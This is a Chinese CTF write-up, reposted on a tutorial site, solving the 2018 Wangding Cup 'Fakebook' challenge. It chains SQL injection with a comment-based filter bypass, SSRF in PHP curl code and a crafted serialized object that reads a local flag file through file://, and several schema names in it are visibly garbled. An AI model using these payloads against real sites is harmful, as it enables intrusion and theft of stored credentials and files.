大佬教程收集整理的这篇文章主要介绍了[网鼎杯 2018]Fakebook,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
sql注入 ssrf php反序列化漏洞
'
进行测试,发现页面报错,报错信息如下图,此处存在数字型注入,且页面爆出了网站目录【/var/www/html】
输入no=1 order by 5
页面出错,输入no=1 order by 4
页面正常,判读字段数为4
判断回显位置,输入no=1 union SELEct 1,2,3,4
,发现有东西被过滤,经过测试,发现union SELEct被过滤,可以使用/**/注释进行绕过
no=-1 union/**/SELEct 1,2,3,4
,判断回显位置
爆库名,输入no=-1 union/**/SELEct 1,database(),3,4
,爆出库名为fakebook
爆表名,输入no=-1 union/**/SELEct 1,table_name,3,4 from information_scheR_392_11845@a.tables where table_scheR_392_11845@a=database()
,爆出表名是users
爆字段名,输入no=-1 union/**/SELEct 1,GROUP_CONCAt(column_Name),3,4 from information_scheR_392_11845@a.columns where table_scheR_392_11845@a=database() and table_name='users'
,爆出字段有no、username、passwd、data
爆字段内容,依次输入
no=-1 union/**/SELEct 1,GROUP_CONCAt(no),3,4 from users
no=-1 union/**/SELEct 1,GROUP_CONCAt(userName),3,4 from users
no=-1 union/**/SELEct 1,GROUP_CONCAt(passwd),3,4 from users
no=-1 union/**/SELEct 1,GROUP_CONCAt(data),3,4 from users
当查询data字段内容时,发现data里的内容为序列化的东西
里面的内容是name,age和blog,猜测可能存在反序列化漏洞下载后的源码如下,经过一番分析,在get()方法中存在ssrf漏洞,return $this->get($this->blog);
将blog的内容传给get方法,get方法中的curl_exec($ch);
请求了提交了blog,所以存在ssrf漏洞
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_geTinfo($ch, CURLINFO_http_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
}
}
?>
猜测flag存在的位置,使用御剑进行后台扫描,发现flag.php
根据ssrf和反序列化漏洞,结合sql注入,构造payloadno=-1 union/**/SELEct 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users
,返回页面blog中有提交的路径,证明成功
以上是大佬教程为你收集整理的[网鼎杯 2018]Fakebook全部内容,希望文章能够帮你解决[网鼎杯 2018]Fakebook所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。